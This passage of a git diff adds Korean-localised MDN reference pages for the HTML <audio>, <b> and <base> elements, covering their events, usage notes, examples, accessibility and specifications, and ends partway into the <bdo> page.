+   <td>The input buffer of a {{DOMxRef("ScriptProcessorNode")}} is ready to be processed.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</td>
+   <td>The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</td>
+   <td>The browser estimates it can play the media up to its end without stopping for content buffering.</td>
+  </tr>
+  <tr>
+   <td>{{Event("complete")}}</td>
+   <td>The rendering of an {{DOMxRef("OfflineAudioContext")}} is terminated.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</td>
+   <td>The <code>duration</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</td>
+   <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</td>
+   <td>The first frame of the media has finished loading.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</td>
+   <td>The metadata has been loaded.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.play_event", 'play')}}</td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.playing_event", 'playing ')}}</td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.seeked_event", 'seeked')}}</td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</td>
+   <td>Playback has stopped because of a temporary lack of data</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>Browsers don't all support the same <a href="/en-US/docs/Web/Media/Formats/Containers">file types</a> and <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codecs</a>; you can provide multiple sources inside nested {{htmlelement("source")}} elements, and the browser will then use the first one it understands:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="myAudio.mp3" type="audio/mpeg"&gt;
+  &lt;source src="myAudio.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 audio. Here is
+     a &lt;a href="myAudio.mp4"&gt;link to the audio&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>We offer a substantive and thorough <a href="/en-US/docs/Web/Media/Formats">guide to media file types</a> and the <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codecs that can be used within them</a>. Also available is <a href="/en-US/docs/Web/Media/Formats/Video_codecs">a guide to the codecs supported for video</a>.</p>
+
+<p>Other usage notes:</p>
+
+<ul>
+ <li>If you don't specify the <code>controls</code> attribute, the audio player won't include the browser's default controls. You can, however, create your own custom controls using JavaScript and the {{domxref("HTMLMediaElement")}} API.</li>
+ <li>To allow precise control over your audio content, <code>HTMLMediaElement</code>s fire many different <a href="/en-US/docs/Web/Guide/Events/Media_events">events</a>. This also provides a way to monitor the audio's fetching process so you can watch for errors or detect when enough is available to begin to play or manipulate it.</li>
+ <li>You can also use the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> to directly generate and manipulate audio streams from JavaScript code rather than streaming pre-existing audio files.</li>
+ <li><code>&lt;audio&gt;</code> elements can't have subtitles or captions associated with them in the same way that <code>&lt;video&gt;</code> elements can. See <a href="https://www.iandevlin.com/blog/2015/12/html5/webvtt-and-audio">WebVTT and Audio</a> by Ian Devlin for some useful information and workarounds.</li>
+</ul>
+
+<p>A good general source of information on using HTML <code>&lt;audio&gt;</code> is the <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a> beginner's tutorial.</p>
+
+<h3 id="Styling_with_CSS">Styling with CSS</h3>
+
+<p>The <code>&lt;audio&gt;</code> element has no intrinsic visual output of its own unless the <code>controls</code> attribute is specified, in which case the browser's default controls are shown.</p>
+
+<p>The default controls have a {{cssxref("display")}} value of <code>inline</code> by default, and it is often a good idea set the value to <code>block</code> to improve control over positioning and layout, unless you want it to sit within a text block or similar.</p>
+
+<p>You can style the default controls with properties that affect the block as a single unit, so for example you can give it a {{cssxref("border")}} and {{cssxref("border-radius")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, etc. You can't however style the individual components inside the audio player (e.g. change the button size or icons, change the font, etc.), and the controls are different across the different browsers.</p>
+
+<p>To get a consistent look and feel across browsers, you'll need to create custom controls; these can be marked up and styled in whatever way you want, and then JavaScript can be used along with the {{domxref("HTMLMediaElement")}} API to wire up their functionality.</p>
+
+<p><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player styling basics</a> provides some useful styling techniques — it is written in the context of <code>&lt;video&gt;</code>, but much of it is equally applicable to <code>&lt;audio&gt;</code>.</p>
+
+<h3 id="Detecting_addition_and_removal_of_tracks">Detecting addition and removal of tracks</h3>
+
+<p>You can detect when tracks are added to and removed from an <code>&lt;audio&gt;</code> element using the {{event("addtrack")}} and {{event("removetrack")}} events. However, these events aren't sent directly to the <code>&lt;audio&gt;</code> element itself. Instead, they're sent to the track list object within the <code>&lt;audio&gt;</code> element's {{domxref("HTMLMediaElement")}} that corresponds to the type of track that was added to the element:</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>An {{domxref("AudioTrackList")}} containing all of the media element's audio tracks. You can add a listener for <code>addtrack</code> to this object to be alerted when new audio tracks are added to the element.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}}</dt>
+ <dd>Add an <code>addtrack</code> listener to this {{domxref("VideoTrackList")}} object to be informed when video tracks are added to the element.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}}</dt>
+ <dd>Add an <code>addtrack</code> event listener to this {{domxref("TextTrackList")}} to be notified when new text tracks are added to the element.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Even though it's an <code>&lt;audio&gt;</code> element, it still has video and text track lists, and can in fact be used to present video, although the use interface implications can be odd.</p>
+</div>
+
+<p>For example, to detect when audio tracks are added to or removed from an <code>&lt;audio&gt;</code> element, you can use code like this:</p>
+
+<pre class="brush: js">var elem = document.querySelector("audio");
+
+elem.audioTrackList.onaddtrack = function(event) {
+  trackEditor.addTrack(event.track);
+};
+
+elem.audioTrackList.onremovetrack = function(event) {
+  trackEditor.removeTrack(event.track);
+};
+</pre>
+
+<p>This code watches for audio tracks to be added to and removed from the element, and calls a hypothetical function on a track editor to register and remove the track from the editor's list of available tracks.</p>
+
+<p>You can also use {{domxref("EventTarget.addEventListener", "addEventListener()")}} to listen for the {{event("addtrack")}} and {{event("removetrack")}} events.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<p>The following example shows simple usage of the <code>&lt;audio&gt;</code> element to play an OGG file. It will autoplay due to the <code>autoplay</code> attribute—if the page has permission to do so—and also includes fallback content.</p>
+
+<pre class="brush: html">&lt;!-- Simple audio playback --&gt;
+&lt;audio
+  src="AudioTest.ogg"
+  autoplay&gt;
+  Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
+&lt;/audio&gt;
+</pre>
+
+<p>For details on when autoplay works, how to get permission to use autoplay, and how and when it's appropriate to use autoplay, see our <a href="/en-US/docs/Web/Media/Autoplay_guide">autoplay guide</a>.</p>
+
+<h3 id="&lt;audio>_element_with_&lt;source>_element">&lt;audio&gt; element with &lt;source&gt; element</h3>
+
+<p>This example specifies which audio track to embed using the <code>src</code> attribute on a nested <code>&lt;source&gt;</code> element rather than directly on the <code>&lt;audio&gt;</code> element. It is always useful to include the file's MIME type inside the <code>type</code> attribute, as the browser is able to instantly tell if it can play that file, and not waste time on it if not.</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="foo.wav" type="audio/wav"&gt;
+  Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
+&lt;/audio&gt;
+</pre>
+
+<h3 id="&lt;audio>_with_multiple_&lt;source>_elements">&lt;audio&gt; with multiple &lt;source&gt; elements</h3>
+
+<p>This example includes multiple <code>&lt;source&gt;</code> elements. The browser tries to load the first source element (Opus) if it is able to play it; if not it falls back to the second (Vorbis) and finally back to MP3:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+ &lt;source src="foo.opus" type="audio/ogg; codecs=opus"/&gt;
+ &lt;source src="foo.ogg" type="audio/ogg; codecs=vorbis"/&gt;
+ &lt;source src="foo.mp3" type="audio/mpeg"/&gt;
+&lt;/audio&gt;</pre>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>Audio with spoken dialog should provide both captions and transcripts that accurately describe its content. Captions, which are specified using <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a>, allow people who are experiencing hearing loss to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to review the recording's content at a pace and format that is comfortable for them.</p>
+
+<p>If automatic captioning services are used, it is important to review the generated content to ensure it accurately represents the source audio.</p>
+
+<p>The <code>&lt;audio&gt;</code> element doesn't directly support WebVTT. You will have to find a library or framework that provides the capability for you, or write the code to display captions yourself. One option is to play your audio using a {{HTMLElement("video")}} element, which does support WebVTT.</p>
+
+<p>In addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. This includes emotion and tone. For example, in the WebVTT below, note the use of square brackets to provide tone and emotional insight to the viewer; this can help establish the mood otherwise provided using music, nonverbal sounds and crucial sound effects, and so forth.</p>
+
+<pre>1
+00:00:00 --&gt; 00:00:45
+[Energetic techno music]
+
+2
+00:00:46 --&gt; 00:00:51
+Welcome to the Time Keeper's podcast! In this episode we're discussing which Swisswatch is a wrist switchwatch?
+
+16
+00:00:52 --&gt; 00:01:02
+[Laughing] Sorry! I mean, which wristwatch is a Swiss wristwatch?
+</pre>
+
+<p>Also it's a good practice to provide some content (such as the direct download link) as a fallback for viewers who use a browser in which the <code>&lt;audio&gt;</code> element is not supported:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="myAudio.mp3" type="audio/mpeg"&gt;
+  &lt;source src="myAudio.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;
+    Your browser doesn't support HTML5 audio.
+    Here is a &lt;a href="myAudio.mp4"&gt;link to download the audio&lt;/a&gt; instead.
+  &lt;/p&gt;
+&lt;/audio&gt;
+
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Subtitles_captions">MDN Subtitles and closed caption — Plugins</a></li>
+ <li><a href="/en-US/docs/Web/API/WebVTT_API">Web Video Text Tracks Format (WebVTT)</a></li>
+ <li><a href="https://webaim.org/techniques/captions/">WebAIM: Captions, Transcripts, and Audio Descriptions</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">MDN Understanding WCAG, Guideline 1.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-av-only-alt.html">Understanding Success Criterion 1.2.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-captions.html">Understanding Success Criterion 1.2.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>. {{htmlattrxref("controls", "audio")}} 특성을 가진 경우, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a> 및 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>
+    <p>{{htmlattrxref("src", "audio")}} 특성을 가진 경우 0개 이상의 {{htmlelement("track")}} 요소와 그 이후의 투명한 콘텐츠. 단, 다른 {{htmlelement("audio")}}와 {{htmlelement("video")}} 요소는 불가능.</p>
+
+    <p>그 외의 경우 0개 이상의 {{HTMLElement("source")}} 요소와 0개 이상의 {{HTMLElement("track")}} 요소, 그리고 이후의 투명한 콘텐츠. 단, 다른 {{htmlelement("audio")}}와 {{htmlelement("video")}} 요소는 불가능.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("application")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLAudioElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.audio")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a>
+
+  <ul>
+   <li><a href="/en-US/docs/Web/Media/Formats/Containers">Media container formats (file types)</a></li>
+   <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Guide to audio codecs used on the web</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web_Audio_API">Web Audio API</a></li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{htmlelement("source")}}</li>
+ <li>{{htmlelement("video")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning area: Video and audio content</a></li>
+ <li><a href="/en-US/Apps/Fundamentals/Audio_and_video_delivery/Cross-browser_audio_basics">Cross-browser audio basics</a></li>
+</ul>
diff --git a/files/ko/web/html/element/b/index.html b/files/ko/web/html/element/b/index.html
new file mode 100644
index 0000000000..e7d54271fa
--- /dev/null
+++ b/files/ko/web/html/element/b/index.html
@@ -0,0 +1,121 @@
+---
+title: <b>
+slug: Web/HTML/Element/b
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/b
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;b&gt;</code> 요소</strong>는 독자의 주의를 요소의 콘텐츠로 끌기 위한 용도로 사용합니다. 그 외의 다른 특별한 중요도는 주어지지 않습니다.</span> 원래는 "굵은 글씨 요소"로 불렸으며, 대부분의 브라우저도 여전히 텍스트를 굵은 글씨체로 강조합니다. 그러나 <code>&lt;b&gt;</code>를 사용해 텍스트를 꾸미면 안됩니다. 대신 CSS {{cssxref("font-weight")}}를 사용해 굵은 글씨체를 적용하거나, {{htmlelement("strong")}} 요소를 사용해 특별히 중요한 텍스트를 나타내세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/b.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>요약 키워드, 리뷰의 제품명 등, 특별한 중요성을 가지고 있지는 않지만 굵게 표시할 부분에 <code>&lt;b&gt;</code>를 사용하세요.</li>
+ <li><code>&lt;b&gt;</code> 요소와 {{HTMLElement("strong")}}, {{HTMLElement("em")}}, {{HTMLElement("mark")}} 요소를 혼동하지 않도록 주의하세요. {{HTMLElement("strong")}} 요소는 <strong>중요</strong>한 글을, {{HTMLElement("em")}} 요소는 약간의 강조가 필요한 글을, {{HTMLElement("mark")}} 요소는 관련성이 있는 글을 나타냅니다. <code>&lt;b&gt;</code> 요소는 아무런 의미도 갖지 않으므로 다른 요소가 적합하지 않을 때만 사용하세요.</li>
+ <li>비슷한 이유로 <code>&lt;b&gt;</code> 요소로만 제목을 만들어선 안됩니다. 제목은 {{HTMLElement("h1")}}에서 {{HTMLElement("h6")}} 태그로 표현하세요. 특히 스타일 시트를 사용해 제목 요소의 스타일을 바꿀 수 있다는 점을 생각해보면, 제목이 꼭 굵은 글씨체일 필요는 없습니다.</li>
+ <li class="hidden">It is a good practice to use the <strong>class</strong> attribute on the <code>&lt;b&gt;</code> in order to convey additional semantic information (for example <code>&lt;b class="lede"&gt;</code> for the first sentence in a paragraph). This eases the development of several stylings of a web document, without the need to change its HTML code.</li>
+ <li>과거 <code>&lt;b&gt;</code> 요소는 굵을 글씨를 만들 때 사용했습니다. HTML4부터 스타일 정보는 사용하지 않으므로 <code>&lt;b&gt;</code> 요소의 의미도 바뀌었습니다.</li>
+ <li>&lt;b&gt;의 의미와 관계 없이 굵은 글씨를 사용하고 있다면, CSS {{cssxref("font-weight")}} 속성의 <code>"bold"</code> 값을 사용하는 방법을 고려하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;
+  This article describes several &lt;b class="keywords"&gt;text-level&lt;/b&gt; elements.
+  It explains their usage in an &lt;b class="keywords"&gt;HTML&lt;/b&gt; document.
+&lt;/p&gt;
+Keywords are displayed with the default style of the &lt;b&gt;element, likely in bold&lt;/b&gt;.</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.b")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/International/questions/qa-b-and-i-tags">&lt;b&gt;와 &lt;i&gt; 요소 사용하기 (W3C)</a></li>
+</ul>
diff --git a/files/ko/web/html/element/base/index.html b/files/ko/web/html/element/base/index.html
new file mode 100644
index 0000000000..0a126d67f4
--- /dev/null
+++ b/files/ko/web/html/element/base/index.html
@@ -0,0 +1,136 @@
+---
+title: <base>
+slug: Web/HTML/Element/base
+tags:
+  - Element
+  - HTML
+  - HTML document metadata
+  - 'HTML:Metadata content'
+  - Reference
+translation_of: Web/HTML/Element/base
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;base&gt;</code> 요소</strong>는 문서 안의 모든 상대 {{glossary("URL")}}이 사용할 기준 URL을 지정합니다. 문서에는 하나의 <code>&lt;base&gt;</code> 요소만 존재할 수 있습니다.</p>
+
+<p>문서의 기준 URL을 스크립트에서 접근해야할 땐 {{domxref('document.baseURI')}}을 사용할 수 있습니다. 문서에 <code>&lt;base&gt;</code> 요소가 존재하지 않을 때 <code>baseURI</code>의 기본값은 {{domxref("location.href")}}입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>메타데이터 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>다른 <code>&lt;base&gt;</code> 요소를 포함하지 않는 {{htmlelement("head")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLBaseElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함합니다.</span></p>
+
+<div class="blockIndicator warning">
+<p><span style="line-height: 21px;">다음 특성 중 하나라도 지정한 경우, 상대 URL을 특성에 사용한 모든 요소보다 <code>&lt;base&gt;</code>가 앞에 위치해야 합니다.</span></p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>문서 내 상대 URL이 사용할 기준 URL. 절대 및 상대 URL을 사용할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd><code>target</code> 속성을 명시하지 않은 {{htmlelement("a")}}, {{htmlelement("area")}}, 또는 {{htmlelement("form")}} 요소가 탐색을 유발했을 때, 그 결과를 보여줄 기본 {{glossary("browsing context", "브라우징 맥락")}}. <strong>키워드</strong>나 <strong>저작자 정의 이름</strong>으로 지정합니다.</dd>
+ <dd>다음 키워드는 특별한 의미를 갖습니다.
+ <ul>
+  <li><code>_self</code> (기본값): 결과를 현재 브라우징 맥락에 보여줍니다.</li>
+  <li><code>_blank</code>: 결과를 새로 생성한, 이름 없는 브라우징 맥락에 보여줍니다.</li>
+  <li><code>_parent</code>: 현재 페이지가 프레임 안에 존재하는 경우, 결과를 현재 브라우징 맥락의 부모에 보여줍니다. 부모가 없으면 <code>_self</code>와 동일합니다.</li>
+  <li><code>_top</code>: 결과를 최상위 브라우징 맥락에 보여줍니다. 최상위 브라우징 맥락이란 현재 맥락의 조상 중 부모가 없는 맥락입니다. 현재 맥락이 부모를 가지지 않으면 <code>_self</code>와 동일합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="다중_&lt;base>_요소">다중 <code>&lt;base&gt;</code> 요소</h3>
+
+<p><code>&lt;base&gt;</code> 요소가 여러 개 존재하는 경우 첫 <code>href</code>와 첫 <code>target</code>만 사용하며 나머지는 모두 무시합니다.</p>
+
+<h3 id="페이지_내부_앵커">페이지 내부 앵커</h3>
+
+<p><code>&lt;a href="#some-id"&gt;</code>처럼, 문서 프래그먼트를 가리키는 링크 주소도 <code>&lt;base&gt;</code>를 사용해 처리하므로, 기준 URL 뒤에 프래그먼트를 붙인 주소로 HTTP 요청을 유발합니다. 예를 들어,</p>
+
+<ol>
+ <li><code>&lt;base href="https://example.com"&gt;</code>을 가정</li>
+ <li><code>&lt;a href="#anchor"&gt;Anker&lt;/a&gt;</code>를 가정</li>
+ <li>2번의 링크는 <code>https://example.com/#anchor</code>를 가리킵니다.</li>
+</ol>
+
+<h3 id="Open_Graph">Open Graph</h3>
+
+<p><a href="https://ogp.me/">Open Graph</a> 태그는 <code>&lt;base&gt;</code>를 인식하지 않으므로 항상 온전한 형태의 절대 URL을 지정해야 합니다.</p>
+
+<pre class="brush: html notranslate">&lt;meta property="og:image" content="https://example.com/thumbnail.jpg"&gt;</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;base href="http://www.example.com/page.html"&gt;
+&lt;base target="_blank"&gt;
+&lt;base target="_target" href="http://www.example.com/page.html"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.base")}}</p>
diff --git a/files/ko/web/html/element/bdo/index.html b/files/ko/web/html/element/bdo/index.html
new file mode 100644
index 0000000000..5a2ffa7887
--- /dev/null
+++ b/files/ko/web/html/element/bdo/index.html
@@ -0,0 +1,111 @@
+---
+title: '<bdo>: 양방향 텍스트 재정의 요소'
+slug: Web/HTML/Element/bdo
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
